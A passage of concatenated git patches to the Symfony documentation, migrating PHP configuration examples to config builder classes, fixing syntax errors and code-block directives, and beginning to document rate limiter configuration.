-        $container->loadFromExtension('framework', [
-            'session' => [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
                 // enables the support of sessions in the app
-                'enabled' => true,
+                ->enabled(true)
                 // ID of the service used for session storage
                 // NULL means that Symfony uses PHP default session mechanism
-                'handler_id' => null,
+                ->handlerId(null)
                 // improves the security of the cookies used for sessions
-                'cookie_secure' => 'auto',
-                'cookie_samesite' => 'lax',
-            ],
-        ]);
+                ->cookieSecure('auto')
+                ->cookieSamesite('lax')
+            ;
+        };
 
 Setting the ``handler_id`` config option to ``null`` means that Symfony will
 use the native PHP session mechanism. The session metadata files will be stored
@@ -112,13 +114,15 @@ session metadata files:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'session' => [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->session()
                 // ...
-                'handler_id' => 'session.handler.native_file',
-                'save_path' => '%kernel.project_dir%/var/sessions/%kernel.environment%',
-            ],
-        ]);
+                ->handlerId('session.handler.native_file')
+                ->savePath('%kernel.project_dir%/var/sessions/%kernel.environment%')
+            ;
+        };
 
 Check out the Symfony config reference to learn more about the other available
 :ref:`Session configuration options <config-framework-session>`. You can also
diff --git a/templates.rst b/templates.rst
index 9f1f5233b34..af18a438484 100644
--- a/templates.rst
+++ b/templates.rst
@@ -824,10 +824,12 @@ template fragments. Configure that special URL in the ``fragments`` option:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'fragments' => ['path' => '/_fragment'],
-        ]);
+            $framework->fragments()->path('/_fragment');
+        };
 
 .. caution::
 
@@ -1043,15 +1045,16 @@ the ``value`` is the Twig namespace, which is explained later:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'paths' => [
-                // directories are relative to the project root dir (but you
-                // can also use absolute directories)
-                'email/default/templates' => null,
-                'backend/templates' => null,
-            ],
-        ]);
+
+            // directories are relative to the project root dir (but you
+            // can also use absolute directories)
+            $twig->path('email/default/templates', null);
+            $twig->path('backend/templates', null);
+        };
 
 When rendering a template, Symfony looks for it first in the ``twig.paths``
 directories that don't define a namespace and then falls back to the default
@@ -1098,13 +1101,14 @@ configuration to define a namespace for each template directory:
     .. code-block:: php
 
         // config/packages/twig.php
-        $container->loadFromExtension('twig', [
+        use Symfony\Config\TwigConfig;
+
+        return static function (TwigConfig $twig) {
             // ...
-            'paths' => [
-                'email/default/templates' => 'email',
-                'backend/templates' => 'admin',
-            ],
-        ]);
+
+            $twig->path('email/default/templates', 'email');
+            $twig->path('backend/templates', 'admin');
+        };
 
 Now, if you render the ``layout.html.twig`` template, Symfony will render the
 ``templates/layout.html.twig`` file. Use the special syntax ``@`` + namespace to

From 2a9103c1f1c5a6e22a706f6b008939cfef9a2c71 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 20 Apr 2021 18:21:48 +0200
Subject: [PATCH 0755/5766] Fixed syntax errors on 4.4

---
 components/console/helpers/formatterhelper.rst |  8 ++++++--
 components/console/helpers/table.rst           |  4 ++--
 components/dom_crawler.rst                     |  4 +++-
 components/event_dispatcher.rst                |  2 +-
 components/filesystem.rst                      |  2 +-
 components/http_foundation.rst                 |  2 +-
 components/intl.rst                            | 10 +++++-----
 components/lock.rst                            |  4 ++--
 components/options_resolver.rst                |  2 +-
 components/phpunit_bridge.rst                  |  4 ++--
 components/security/authorization.rst          |  2 +-
 components/serializer.rst                      |  4 +++-
 components/validator/resources.rst             |  2 +-
 components/workflow.rst                        |  4 ++--
 configuration/override_dir_structure.rst       |  2 +-
 configuration/using_parameters_in_dic.rst      |  4 ++--
 contributing/code/conventions.rst              |  8 ++++++--
 controller/soap_web_service.rst                |  2 +-
 create_framework/front_controller.rst          |  4 +++-
 create_framework/routing.rst                   |  8 ++++++--
 doctrine/custom_dql_functions.rst              | 18 ++++++++----------
 form/create_form_type_extension.rst            |  4 ----
 form/data_transformers.rst                     |  2 +-
 form/type_guesser.rst                          |  2 +-
 form/validation_group_service_resolver.rst     |  2 +-
 forms.rst                                      |  2 +-
 http_client.rst                                |  2 +-
 introduction/from_flat_php_to_symfony.rst      |  2 +-
 mercure.rst                                    |  7 ++++---
 migration.rst                                  |  4 ++--
 reference/configuration/framework.rst          |  8 ++++++--
 reference/constraints/Traverse.rst             |  2 +-
 service_container.rst                          | 18 +++++++++++-------
 setup/homestead.rst                            |  4 +++-
 templating/PHP.rst                             | 12 +++++++++---
 templating/hinclude.rst                        |  2 +-
 testing.rst                                    |  2 +-
 translation.rst                                |  4 +++-
 38 files changed, 105 insertions(+), 74 deletions(-)

diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index ba3c2743d24..ad2bded040b 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -78,7 +78,9 @@ you can write::
     $truncatedMessage = $formatter->truncate($message, 7);
     $output->writeln($truncatedMessage);
 
-And the output will be::
+And the output will be:
+
+.. code-block:: text
 
     This is...
 
@@ -93,7 +95,9 @@ from the end of the string::
 
     $truncatedMessage = $formatter->truncate($message, -5);
 
-This will result in::
+This will result in:
+
+.. code-block:: text
 
     This is a very long message, which should be trun...
 
diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 45336c1175e..b59abe1d73a 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -72,8 +72,8 @@ You can add a table separator anywhere in the output by passing an instance of
 You can optionally display titles at the top and the bottom of the table::
 
     // ...
-    $table->setHeaderTitle('Books')
-    $table->setFooterTitle('Page 1/2')
+    $table->setHeaderTitle('Books');
+    $table->setFooterTitle('Page 1/2');
     $table->render();
 
 .. code-block:: terminal
diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 93aba242eaf..fd35b5e7fd8 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -555,7 +555,9 @@ You can virtually set and get values on the form::
     // where "registration" is its own array
     $values = $form->getPhpValues();
 
-To work with multi-dimensional fields::
+To work with multi-dimensional fields:
+
+.. code-block:: html
 
     <form>
         <input name="multi[]"/>
diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index ef0392e6dfc..0331c3320be 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -238,7 +238,7 @@ determine which instance is passed.
         $containerBuilder->addCompilerPass(new AddEventAliasesPass([
             \AcmeFooActionEvent::class => 'acme.foo.action',
         ]));
-        $containerBuilder->addCompilerPass(new RegisterListenersPass(), PassConfig::TYPE_BEFORE_REMOVING)
+        $containerBuilder->addCompilerPass(new RegisterListenersPass(), PassConfig::TYPE_BEFORE_REMOVING);
 
         $containerBuilder->register('event_dispatcher', EventDispatcher::class);
 
diff --git a/components/filesystem.rst b/components/filesystem.rst
index 4b09bc4cd7e..d43632b9de6 100644
--- a/components/filesystem.rst
+++ b/components/filesystem.rst
@@ -252,7 +252,7 @@ absolute paths and returns the relative path from the second path to the first o
         '/var/lib/symfony/src/Symfony/Component'
     );
     // returns 'videos/'
-    $filesystem->makePathRelative('/tmp/videos', '/tmp')
+    $filesystem->makePathRelative('/tmp/videos', '/tmp');
 
 ``mirror``
 ~~~~~~~~~~
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index cbb1742dad1..4ebce4526f0 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -547,7 +547,7 @@ represented by a PHP callable instead of a string::
     header in the response::
 
         // disables FastCGI buffering in nginx only for this response
-        $response->headers->set('X-Accel-Buffering', 'no')
+        $response->headers->set('X-Accel-Buffering', 'no');
 
 .. _component-http-foundation-serving-files:
 
diff --git a/components/intl.rst b/components/intl.rst
index dae70440cf5..d66370218c9 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -11,7 +11,7 @@ The Intl Component
 .. caution::
 
     The replacement layer is limited to the ``en`` locale. If you want to use
-    other locales, you should `install the intl extension`_. There is no conflict 
+    other locales, you should `install the intl extension`_. There is no conflict
     between the two because, even if you use the extension, this package can still
     be useful to access the ICU data.
 
@@ -231,9 +231,9 @@ Locales
 ~~~~~~~
 
 A locale is the combination of a language, a region and some parameters that
-define the interface preferences of the user. For example, "Chinese" is the 
-language and ``zh_Hans_MO`` is the locale for "Chinese" (language) + "Simplified" 
-(script) + "Macau SAR China" (region). The ``Locales`` class provides access to 
+define the interface preferences of the user. For example, "Chinese" is the
+language and ``zh_Hans_MO`` is the locale for "Chinese" (language) + "Simplified"
+(script) + "Macau SAR China" (region). The ``Locales`` class provides access to
 the name of all locales::
 
     use Symfony\Component\Intl\Locales;
@@ -351,7 +351,7 @@ translate into any locale with the ``getName()`` method shown earlier::
 The reverse lookup is also possible thanks to the ``getCountryCode()`` method,
 which returns the code of the country where the given timezone ID belongs to::
 
-    $countryCode = Timezones::getCountryCode('America/Vancouver')
+    $countryCode = Timezones::getCountryCode('America/Vancouver');
     // => $countryCode = 'CA' (CA = Canada)
 
 The `UTC/GMT time offsets`_ of all timezones are provided by ``getRawOffset()``
diff --git a/components/lock.rst b/components/lock.rst
index e0baecd9560..25ad931a4e4 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -63,7 +63,7 @@ method can be safely called repeatedly, even if the lock is already acquired.
 
     Unlike other implementations, the Lock Component distinguishes lock
     instances even when they are created for the same resource. It means that for
-    a given scope and resource one lock instance can be acquired multiple times. 
+    a given scope and resource one lock instance can be acquired multiple times.
     If a lock has to be used by several services, they should share the same ``Lock``
     instance returned by the ``LockFactory::createLock`` method.
 
@@ -223,7 +223,7 @@ Lock will be released automatically as soon as one process finishes::
         sleep(30);
     } else {
         // Child process
-        echo 'The lock will be released now.'
+        echo 'The lock will be released now.';
         exit(0);
     }
     // ...
diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index a88c9f95d31..7fda38acc07 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -511,7 +511,7 @@ the closure::
 
             $resolver->setDefault('host', function (Options $options, $previousValue) {
                 if ('ssl' === $options['encryption']) {
-                    return 'secure.example.org'
+                    return 'secure.example.org';
                 }
 
                 // Take default value configured in the base class
diff --git a/components/phpunit_bridge.rst b/components/phpunit_bridge.rst
index 284dae4d816..e9b98f7501d 100644
--- a/components/phpunit_bridge.rst
+++ b/components/phpunit_bridge.rst
@@ -629,7 +629,7 @@ constraint to test the validity of the email domain::
     {
         public function testEmail()
         {
-            $validator = ...
+            $validator = ...;
             $constraint = new Email(['checkMX' => true]);
 
             $result = $validator->validate('foo@example.com', $constraint);
@@ -654,7 +654,7 @@ the data you expect to get for the given hosts::
         {
             DnsMock::withMockedHosts(['example.com' => [['type' => 'MX']]]);
 
-            $validator = ...
+            $validator = ...;
             $constraint = new Email(['checkMX' => true]);
 
             $result = $validator->validate('foo@example.com', $constraint);
diff --git a/components/security/authorization.rst b/components/security/authorization.rst
index f6a8776aa7b..d1df7d1f8bb 100644
--- a/components/security/authorization.rst
+++ b/components/security/authorization.rst
@@ -188,7 +188,7 @@ expressions have access to a number of
 
     $expression = new Expression(
         '"ROLE_ADMIN" in roles or (not is_anonymous() and user.isSuperAdmin())'
-    )
+    );
 
     $vote = $expressionVoter->vote($token, $object, [$expression]);
 
diff --git a/components/serializer.rst b/components/serializer.rst
index 783f293e83d..bae2c262213 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -901,7 +901,9 @@ For example, take an object normalized as following::
 
     ['foo' => [1, 2], 'bar' => true];
 
-The ``XmlEncoder`` will encode this object like that::
+The ``XmlEncoder`` will encode this object like that:
+
+.. code-block:: xml
 
     <?xml version="1.0" encoding="UTF-8" ?>
     <response>
diff --git a/components/validator/resources.rst b/components/validator/resources.rst
index 1455c2518bc..4de84a7cb49 100644
--- a/components/validator/resources.rst
+++ b/components/validator/resources.rst
@@ -155,7 +155,7 @@ implement the PSR-6 interface :class:`Psr\\Cache\\CacheItemPoolInterface`)::
 
     $validator = Validation::createValidatorBuilder()
         // ... add loaders
-        ->setMappingCache(new SomePsr6Cache());
+        ->setMappingCache(new SomePsr6Cache())
         ->getValidator();
 
 .. versionadded:: 4.4
diff --git a/components/workflow.rst b/components/workflow.rst
index 493b4230124..67b00730b69 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -68,8 +68,8 @@ are trying to use it with::
     use Symfony\Component\Workflow\Registry;
     use Symfony\Component\Workflow\SupportStrategy\InstanceOfSupportStrategy;
 
-    $blogPostWorkflow = ...
-    $newsletterWorkflow = ...
+    $blogPostWorkflow = ...;
+    $newsletterWorkflow = ...;
 
     $registry = new Registry();
     $registry->addWorkflow($blogPostWorkflow, new InstanceOfSupportStrategy(BlogPost::class));
diff --git a/configuration/override_dir_structure.rst b/configuration/override_dir_structure.rst
index e832daeb030..050b5d58653 100644
--- a/configuration/override_dir_structure.rst
+++ b/configuration/override_dir_structure.rst
@@ -230,7 +230,7 @@ option in your ``composer.json`` file like this:
         "config": {
             "bin-dir": "bin",
             "vendor-dir": "/some/dir/vendor"
-        },
+        }
     }
 
 .. tip::
diff --git a/configuration/using_parameters_in_dic.rst b/configuration/using_parameters_in_dic.rst
index 329061a137f..6bdf07ff886 100644
--- a/configuration/using_parameters_in_dic.rst
+++ b/configuration/using_parameters_in_dic.rst
@@ -85,8 +85,8 @@ Now, examine the results to see this closely:
                 // true/false (depends on 2nd parameter of Kernel),
                 // as expected, because %kernel.debug% inside configuration
                 // gets evaluated before being passed to the extension
-            )
-        ];
+            ]
+        );
 
         $container->loadFromExtension('my_bundle');
         // passes the string "%kernel.debug%".
diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index 62bf4217044..e09fc3fbabb 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -188,7 +188,9 @@ after the use declarations, like in this example from
 
 .. _`ServiceRouterLoader`: https://github.com/symfony/symfony/blob/4.4/src/Symfony/Component/Routing/Loader/DependencyInjection/ServiceRouterLoader.php
 
-The deprecation must be added to the ``CHANGELOG.md`` file of the impacted component::
+The deprecation must be added to the ``CHANGELOG.md`` file of the impacted component:
+
+.. code-block:: markdown
 
     4.4
     ---
@@ -196,7 +198,9 @@ The deprecation must be added to the ``CHANGELOG.md`` file of the impacted compo
     * Deprecate the `Deprecated` class, use `Replacement` instead
 
 It must also be added to the ``UPGRADE.md`` file of the targeted minor version
-(``UPGRADE-4.4.md`` in our example)::
+(``UPGRADE-4.4.md`` in our example):
+
+.. code-block:: markdown
 
     DependencyInjection
     -------------------
diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst
index 37c72316878..12d01cd0ec1 100644
--- a/controller/soap_web_service.rst
+++ b/controller/soap_web_service.rst
@@ -39,7 +39,7 @@ In this case, the SOAP service will allow the client to call a method called
         public function hello($name)
         {
 
-            $message = new \Swift_Message('Hello Service')
+            $message = (new \Swift_Message('Hello Service'))
                 ->setTo('me@example.com')
                 ->setBody($name.' says hi!');
 
diff --git a/create_framework/front_controller.rst b/create_framework/front_controller.rst
index e6a7293fa6b..e14f9f16d07 100644
--- a/create_framework/front_controller.rst
+++ b/create_framework/front_controller.rst
@@ -185,7 +185,9 @@ the ``setContent()`` directly from the front controller script::
 
     // ...
 
-And the ``hello.php`` script can now be converted to a template::
+And the ``hello.php`` script can now be converted to a template:
+
+.. code-block:: html+php
 
     <!-- example.com/src/pages/hello.php -->
     <?php $name = $request->get('name', 'World') ?>
diff --git a/create_framework/routing.rst b/create_framework/routing.rst
index d381daed2eb..f76167ec2fb 100644
--- a/create_framework/routing.rst
+++ b/create_framework/routing.rst
@@ -30,7 +30,9 @@ framework just a little to make templates even more readable::
     $response->send();
 
 As we now extract the request query parameters, simplify the ``hello.php``
-template as follows::
+template as follows:
+
+.. code-block:: html+php
 
     <!-- example.com/src/pages/hello.php -->
     Hello <?= htmlspecialchars(isset($name) ? $name : 'World', ENT_QUOTES, 'UTF-8') ?>
@@ -161,7 +163,9 @@ There are a few new things in the code:
 
 * ``500`` errors are now managed correctly;
 
-* Request attributes are extracted to keep our templates simple::
+* Request attributes are extracted to keep our templates simple:
+
+.. code-block:: html+php
 
     // example.com/src/pages/hello.php
     Hello <?= htmlspecialchars($name, ENT_QUOTES, 'UTF-8') ?>
diff --git a/doctrine/custom_dql_functions.rst b/doctrine/custom_dql_functions.rst
index 9485509da49..ee11967da47 100644
--- a/doctrine/custom_dql_functions.rst
+++ b/doctrine/custom_dql_functions.rst
@@ -131,16 +131,14 @@ In Symfony, you can register your custom DQL functions as follows:
             use App\DQL\DatetimeFunction;
 
             $container->loadFromExtension('doctrine', [
-                'doctrine' => [
-                    'orm' => [
-                        // ...
-                        'entity_managers' => [
-                            'example_manager' => [
-                                // place your functions here
-                                'dql' => [
-                                    'datetime_functions' => [
-                                        'test_datetime' => DatetimeFunction::class,
-                                    ],
+                'orm' => [
+                    // ...
+                    'entity_managers' => [
+                        'example_manager' => [
+                            // place your functions here
+                            'dql' => [
+                                'datetime_functions' => [
+                                    'test_datetime' => DatetimeFunction::class,
                                 ],
                             ],
                         ],
diff --git a/form/create_form_type_extension.rst b/form/create_form_type_extension.rst
index 55d3d34776f..37e46dc9a64 100644
--- a/form/create_form_type_extension.rst
+++ b/form/create_form_type_extension.rst
@@ -191,14 +191,10 @@ Specifically, you need to override the ``file_widget`` block:
     {% extends 'form_div_layout.html.twig' %}
 
     {% block file_widget %}
-        {% spaceless %}
-
         {{ block('form_widget') }}
         {% if image_url is not null %}
             <img src="{{ asset(image_url) }}"/>
         {% endif %}
-
-        {% endspaceless %}
     {% endblock %}
 
 Be sure to :ref:`configure this form theme template <forms-theming-global>` so that
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index aa0e88789bf..c21976dadce 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -208,7 +208,7 @@ to and from the issue number and the ``Issue`` object::
         {
             // no issue number? It's optional, so that's ok
             if (!$issueNumber) {
-                return;
+                return null;
             }
 
             $issue = $this->entityManager
diff --git a/form/type_guesser.rst b/form/type_guesser.rst
index 49488e524ba..b2b556e51f9 100644
--- a/form/type_guesser.rst
+++ b/form/type_guesser.rst
@@ -101,7 +101,7 @@ With this knowledge, you can implement the ``guessType()`` method of the
             $annotations = $this->readPhpDocAnnotations($class, $property);
 
             if (!isset($annotations['var'])) {
-                return; // guess nothing if the @var annotation is not available
+                return null; // guess nothing if the @var annotation is not available
             }
 
             // otherwise, base the type on the @var annotation
diff --git a/form/validation_group_service_resolver.rst b/form/validation_group_service_resolver.rst
index ad741fbdb3a..e9ad7a67724 100644
--- a/form/validation_group_service_resolver.rst
+++ b/form/validation_group_service_resolver.rst
@@ -39,7 +39,7 @@ Then in your form, inject the resolver and set it as the ``validation_groups``::
     namespace App\Form;
 
     use App\Validator\ValidationGroupResolver;
-    use Symfony\Component\Form\AbstractType
+    use Symfony\Component\Form\AbstractType;
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
     class MyClassType extends AbstractType
diff --git a/forms.rst b/forms.rst
index 289e1a194b0..9b88f598fa1 100644
--- a/forms.rst
+++ b/forms.rst
@@ -592,7 +592,7 @@ argument of ``createForm()``::
         {
             $task = new Task();
             // use some PHP logic to decide if this form field is required or not
-            $dueDateIsRequired = ...
+            $dueDateIsRequired = ...;
 
             $form = $this->createForm(TaskType::class, $task, [
                 'require_due_date' => $dueDateIsRequired,
diff --git a/http_client.rst b/http_client.rst
index da1595dbac7..81f33d8308d 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -885,7 +885,7 @@ To abort a request (e.g. because it didn't complete in due time, or you want to
 fetch only the first bytes of the response, etc.), you can either use the
 ``cancel()`` method of ``ResponseInterface``::
 
-    $response->cancel()
+    $response->cancel();
 
 Or throw an exception from a progress callback::
 
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index bbfd252de7c..d6d631d6857 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -580,7 +580,7 @@ and uses Twig:
 
 .. code-block:: html+twig
 
-    <!-- templates/blog/list.html.twig -->
+    {# templates/blog/list.html.twig #}
     {% extends 'base.html.twig' %}
 
     {% block title %}List of Posts{% endblock %}
diff --git a/mercure.rst b/mercure.rst
index 82279c3be63..85c814b5741 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -622,7 +622,7 @@ You can instead make use of the `MockHub`::
 
             $controller = new MessageController($hub);
 
-            ...
+            // ...
         }
     }
 
@@ -645,13 +645,14 @@ During functional testing you can instead decorate the Hub::
     }
 
 HubStub decorates the default hub service so no updates are actually
-sent. Here is the HubStub implementation::
+sent. Here is the HubStub implementation:
+
+.. code-block:: yaml
 
     # config/services_test.yaml
     App\Tests\Functional\Fixtures\HubStub:
         decorates: mercure.hub.default
 
-
 Debugging
 ---------
 
diff --git a/migration.rst b/migration.rst
index 8c6117de25c..5f4089656dd 100644
--- a/migration.rst
+++ b/migration.rst
@@ -313,11 +313,11 @@ somewhat like this::
 
     class LegacyBridge
     {
-        public static function prepareLegacyScript(Request $request, Response $response, string $publicDirectory): string
+        public static function prepareLegacyScript(Request $request, Response $response, string $publicDirectory): ?string
         {
             // If Symfony successfully handled the route, you do not have to do anything.
             if (false === $response->isNotFound()) {
-                return;
+                return null;
             }
 
             // Figure out how to map to the needed script file
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index a55b9816a6e..21fc64bd212 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -415,7 +415,9 @@ Since every developer uses a different IDE, the recommended way to enable this
 feature is to configure it on a system level. This can be done by setting the
 ``xdebug.file_link_format`` option in your ``php.ini`` configuration file. The
 format to use is the same as for the ``framework.ide`` option, but without the
-need to escape the percent signs (``%``) by doubling them::
+need to escape the percent signs (``%``) by doubling them:
+
+.. code-block:: ini
 
     // example for PhpStorm
     xdebug.file_link_format="phpstorm://open?file=%f&line=%l"
@@ -438,7 +440,9 @@ need to escape the percent signs (``%``) by doubling them::
     When running your app in a container or in a virtual machine, you can tell
     Symfony to map files from the guest to the host by changing their prefix.
     This map should be specified at the end of the URL template, using ``&`` and
-    ``>`` as guest-to-host separators::
+    ``>`` as guest-to-host separators:
+
+    .. code-block:: text
 
         // /path/to/guest/.../file will be opened
         // as /path/to/host/.../file on the host
diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index aea7e051ee1..99449d12999 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -27,7 +27,7 @@ that all have constraints on their properties.
         namespace App\Entity;
 
         use Doctrine\Collections\ArrayCollection;
-        use Doctrine\Collections\Collection
+        use Doctrine\Collections\Collection;
         use Doctrine\ORM\Mapping as ORM;
         use Symfony\Component\Validator\Constraints as Assert;
 
diff --git a/service_container.rst b/service_container.rst
index 21aa508b897..e40c07a3587 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -341,18 +341,21 @@ you can type-hint the new ``SiteUpdateManager`` class and use it::
     // src/Controller/SiteController.php
     namespace App\Controller;
 
-    // ...
     use App\Service\SiteUpdateManager;
+    // ...
 
-    public function new(SiteUpdateManager $siteUpdateManager)
+    class SiteController extends AbstractController
     {
-        // ...
+        public function new(SiteUpdateManager $siteUpdateManager)
+        {
+            // ...
 
-        if ($siteUpdateManager->notifyOfSiteUpdate()) {
-            $this->addFlash('success', 'Notification mail was sent successfully.');
-        }
+            if ($siteUpdateManager->notifyOfSiteUpdate()) {
+                $this->addFlash('success', 'Notification mail was sent successfully.');
+            }
 
-        // ...
+            // ...
+        }
     }
 
 Thanks to autowiring and your type-hints in ``__construct()``, the container creates
@@ -867,6 +870,7 @@ This is mostly useful when you want to fetch services lazily::
 
             // ...
         }
+    }
 
 As a best practice, you should only create *private* services. This allows for
 safe container optimizations, e.g. removing unused services. You should not use
diff --git a/setup/homestead.rst b/setup/homestead.rst
index d9526949b55..7143b5adeae 100644
--- a/setup/homestead.rst
+++ b/setup/homestead.rst
@@ -58,7 +58,9 @@ Homestead now supports a Symfony 2 and 3 web layout with ``app.php`` and
 using type ``symfony4``.
 
 At last, edit the hosts file on your local machine to map ``symfony-demo.test``
-to ``192.168.10.10`` (which is the IP used by Homestead)::
+to ``192.168.10.10`` (which is the IP used by Homestead):
+
+.. code-block:: text
 
     # /etc/hosts (unix) or C:\Windows\System32\drivers\etc\hosts (Windows)
     192.168.10.10 symfony-demo.test
diff --git a/templating/PHP.rst b/templating/PHP.rst
index cafd622dd8d..471979811f0 100644
--- a/templating/PHP.rst
+++ b/templating/PHP.rst
@@ -332,7 +332,9 @@ Profiling Templates
 ~~~~~~~~~~~~~~~~~~~
 
 By using the ``stopwatch`` helper, you are able to time parts of your template
-and display it on the timeline of the WebProfilerBundle::
+and display it on the timeline of the WebProfilerBundle:
+
+.. code-block:: html+php
 
     <?php $view['stopwatch']->start('foo') ?>
     ... things that get timed
@@ -347,13 +349,17 @@ Output Escaping
 ---------------
 
 When using PHP templates, escape variables whenever they are displayed to the
-user::
+user:
+
+.. code-block:: html+php
 
     <?= $view->escape($var) ?>
 
 By default, the ``escape()`` method assumes that the variable is outputted
 within an HTML context. The second argument lets you change the context. For
-instance, to output something in a JavaScript script, use the ``js`` context::
+instance, to output something in a JavaScript script, use the ``js`` context:
+
+.. code-block:: html+php
 
     <?= $view->escape($var, 'js') ?>
 
diff --git a/templating/hinclude.rst b/templating/hinclude.rst
index d832cdbdba2..96b52c0d147 100644
--- a/templating/hinclude.rst
+++ b/templating/hinclude.rst
@@ -94,7 +94,7 @@ Use the ``attributes`` option to define the value of hinclude.js options:
 
     {# by default, cross-site requests don't use credentials such as cookies, authorization
        headers or TLS client certificates; set this option to 'true' to use them #}
-    {{ render_hinclude(controller('...'), {attributes: {data-with-credentials: 'true'}}) }}
+    {{ render_hinclude(controller('...'), {attributes: {'data-with-credentials': 'true'}}) }}
 
     {# by default, the JavaScript code included in the loaded contents is not run;
        set this option to 'true' to run that JavaScript code #}
diff --git a/testing.rst b/testing.rst
index 095856fb426..75ed2946009 100644
--- a/testing.rst
+++ b/testing.rst
@@ -1069,7 +1069,7 @@ configuration adds tests from a custom ``lib/tests`` directory:
         <!-- ... -->
         <testsuites>
             <testsuite name="Project Test Suite">
-                <!-- ... --->
+                <!-- ... -->
                 <directory>lib/tests</directory>
             </testsuite>
         </testsuites>
diff --git a/translation.rst b/translation.rst
index db096351c7e..0f3f528771c 100644
--- a/translation.rst
+++ b/translation.rst
@@ -414,7 +414,9 @@ PHP Templates
 ~~~~~~~~~~~~~
 
 The translator service is accessible in PHP templates through the
-``translator`` helper::
+``translator`` helper:
+
+.. code-block:: html+php
 
     <?= $view['translator']->trans('Symfony is great') ?>
 

From 4933d453413a9c523abec68fd8a0df04c8f25d11 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 2 Mar 2021 15:04:43 +0100
Subject: [PATCH 0756/5766] [RateLimiter][Security] More precisely document
 advanced rate limiter configuration

---
 cache.rst        |   2 +
 lock.rst         |   2 +
 rate_limiter.rst | 243 ++++++++++++++++++++++++++++++++++++++++-------
 security.rst     | 144 ++++++++++++++++++++++++++--
 4 files changed, 347 insertions(+), 44 deletions(-)

diff --git a/cache.rst b/cache.rst
index a5e20950c03..ee32fcc2db2 100644
--- a/cache.rst
+++ b/cache.rst
@@ -183,6 +183,8 @@ will create pools with service IDs that follow the pattern ``cache.[type]``.
             ],
         ]);
 
+.. _cache-create-pools:
+
 Creating Custom (Namespaced) Pools
 ----------------------------------
 
diff --git a/lock.rst b/lock.rst
index 6a62c558fd7..db987f1d20e 100644
--- a/lock.rst
+++ b/lock.rst
@@ -228,6 +228,8 @@ processes asking for the same ``$version``::
         }
     }
 
+.. _lock-named-locks:
+
 Named Lock
 ----------
 
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 99617f20d59..1f900547ea7 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -124,20 +124,74 @@ Configuration
 The following example creates two different rate limiters for an API service, to
 enforce different levels of service (free or paid):
 
-.. code-block:: yaml
-
-    # config/packages/rate_limiter.yaml
-    framework:
-        rate_limiter:
-            anonymous_api:
-                # use 'sliding_window' if you prefer that policy
-                policy: 'fixed_window'
-                limit: 100
-                interval: '60 minutes'
-            authenticated_api:
-                policy: 'token_bucket'
-                limit: 5000
-                rate: { interval: '15 minutes', amount: 500 }
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/rate_limiter.yaml
+        framework:
+            rate_limiter:
+                anonymous_api:
+                    # use 'sliding_window' if you prefer that policy
+                    policy: 'fixed_window'
+                    limit: 100
+                    interval: '60 minutes'
+                authenticated_api:
+                    policy: 'token_bucket'
+                    limit: 5000
+                    rate: { interval: '15 minutes', amount: 500 }
+
+    .. code-block:: xml
+
+        <!-- config/packages/rate_limiter.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:rate-limiter>
